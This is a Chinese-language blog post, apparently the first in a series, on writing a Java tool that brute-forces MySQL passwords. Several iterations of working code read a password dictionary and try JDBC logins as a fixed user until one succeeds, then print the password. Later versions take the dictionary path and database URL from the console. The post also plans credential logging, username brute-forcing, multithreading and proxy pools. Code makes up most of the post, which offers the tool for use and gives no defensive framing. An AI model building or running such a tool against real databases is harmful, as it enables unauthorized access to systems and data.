1. 程式人生 > 資料庫 >記--一個數據庫密碼爆破工具的成長曆程(1)

記--一個數據庫密碼爆破工具的成長曆程(1)

寫一個數據庫密碼爆破工具

目前完成:

package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class sql {
    public static void main(String[] args) throws IOException {
        String path = "";
        File file = new File("C://a/password.txt");
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密碼正確");
                    System.out.println("正確密碼是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密碼錯誤");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面的程式碼,完成了下面幾件事。

  1. 首先,先確定了字典的位置,然後使用迴圈逐行讀取字典的內容。
  2. 利用try--catch來將登陸成功和失敗區分
  3. 最後在登入成功之後,使用輸出語句,將密碼打印出來。

程式碼思路分析

想要寫一個數據庫密碼爆破工具,首先在程式碼裡面,我們肯定需要進行資料庫的連線,也就是下面的這段程式碼。

Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";                    
String username = "root1"
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);

學過jdbc的看懂這段程式碼沒啥問題,但是要考慮一點,我們的目的是為了寫一個數據庫密碼的爆破工具,利用burp進行弱口令爆破的時候,我們需要進行的操作是將需要變換的值變成變數。java裡面顯然是無法這麼智慧,但是也能讓我們理清一條思路,就是我們想要完成資料庫密碼的爆破,首先,我們需要設定一個迴圈,讓這個獲取連線的操作不斷進行,利用連線成功和失敗的不同反饋來判斷連線是否成功。

不斷進行同一個操作,我們就需要用到迴圈。

判斷連線是否成功,我們就需要用到if判斷。當然,因為我們連線資料庫是利用了try--catch來進行的,而資料庫的連線會報錯,所以我們可以利用try--catch來進行判斷,而不需要自己寫一個迴圈。

所以,程式碼就會變成這個樣子。

for (int i = 0; i < 1000; i++) {
            try {
                Class.forName("com.mysql.jdbc.Driver");
                String url = "jdbc:mysql:///db1";
                String username = "root1";
                String password = "password";
                Connection conn = DriverManager.getConnection(url,username,password);
                System.out.println("密碼正確,登入成功");
            } catch (ClassNotFoundException | SQLException e) {
                System.out.println("密碼錯誤,登入失敗");
            }
        }
 }

達到這一步之後,執行程式碼可以得到的結果是,雖然目前完成了密碼的判斷和迴圈操作,但是首先,我們的迴圈次數不應該定義成一個固定值,因為假設我們登入成功之後,就不需要繼續往下繼續迴圈,而且,字典的長度如果達不到迴圈定義的最大值,也會出現問題。

而在這一步完成之後,還有一點需要考慮的是,我們不能每執行一次程式碼,就手動的修改一次密碼。這跟我們自己測試賬號密碼的沒有任何區別。

所以下一步我們要做的就是,優化迴圈次數,將密碼從檔案中匯入到程式碼裡面。

 	   String path = "C://a/password.txt";
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密碼正確");
                    System.out.println("正確密碼是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密碼錯誤");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

這裡,我本來是想利用FileInputStream來完成這一步的,但是我找了一些之前寫的文章,發現我並沒有辦法使用FIleInputStream來完成一個動態讀取單行的字元。

所以我在網上找了另外一種方式,經過測試之後發現確實有效,因為這種方法我瞭解的並不多,只是測試之後發現程式碼可以使用,所以這裡就不多解釋。

而目前,所能達到的效果是,通過修改path的值,可以修改每次爆破使用的字典。

迴圈也可以完成讀取到字典的最後一行就截至,不會在字典結束之後依然繼續執行。

通過connection物件獲取成功和失敗的不同表現,也可以在字典中獲取到正確的密碼。

優化思路

剛才的程式碼其實也可以發現,想要使用這個工具,必須要有一定的程式碼功底,這就導致了程式碼的適用性不是特別強。

比如說字典的位置的定義,資料庫位置的定義,使用者名稱不變,單純的爆破密碼。所以,如果這些內容是可以通過使用者輸入控制的,就能大大增加適用性。

目前想到的優化:

  1. 使用scanner從控制檯讀取字典位置和資料庫位置
  2. 在控制檯輸出密碼使用起來還是不太方便,將正確的密碼通過位元組流寫入到一個文件中。
  3. 密碼都寫了,不妨吧資料庫的地址和賬號密碼一起寫入。
  4. 目前爆破僅限於密碼,所以後面可以設計迴圈巢狀將賬戶密碼一起爆破。
  5. 爆破目前使用的是單執行緒,所以為了後期的實用性,會加上多執行緒和代理池。
  6. 程式碼格式的檔案對很多人來說使用還是不夠方便,所以圖形化介面也是需要進行的。

實施過程

有了優化思路,就要開始實施,因為目前暫時沒打算做圖形化的頁面,所以使用者指定字典位置和資料庫地址我打算從控制檯讀取。至於後面改造成圖形化之後要怎麼使用,另外再說。

  1. 優化第一步,使用scanner從控制檯讀取字典位置和資料庫位置。
package jsp;

import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;

public class sql {
    public static void main(String[] args) throws IOException {
        Scanner sc1 = new Scanner(System.in);
        System.out.println("請輸入爆破字典地址(絕對路徑)");
        String zdadd = sc1.next();
        Scanner sc2 = new Scanner(System.in);
        System.out.println("請輸入資料庫地址(jdbc格式)");
        String sqladd = sc2.next();
        String path = zdadd;
        File file = new File(path);
        StringBuilder result = new StringBuilder();
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案

            String s = null;
            while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
                result.append(System.lineSeparator() + s);
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = sqladd;
                    String username = "root1";
                    String password = s;
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密碼正確");
                    System.out.println("正確密碼是"+s);
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密碼錯誤");
                }
            }
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在做到這一步優化的時候,我突然想到,jdbc可能也不會每個人都能理解,所以,在格式上,可能會出現問題,並且,之前在學jdbc的時候,有學過吧註冊驅動,配置連線這些步驟寫入到配置檔案中,當需要修改的時候,只需要修改配置檔案,讀取的資料的時候,則從配置檔案中讀取。

這個可能在這個地方不太適用,但可能也是後期優化的一個點。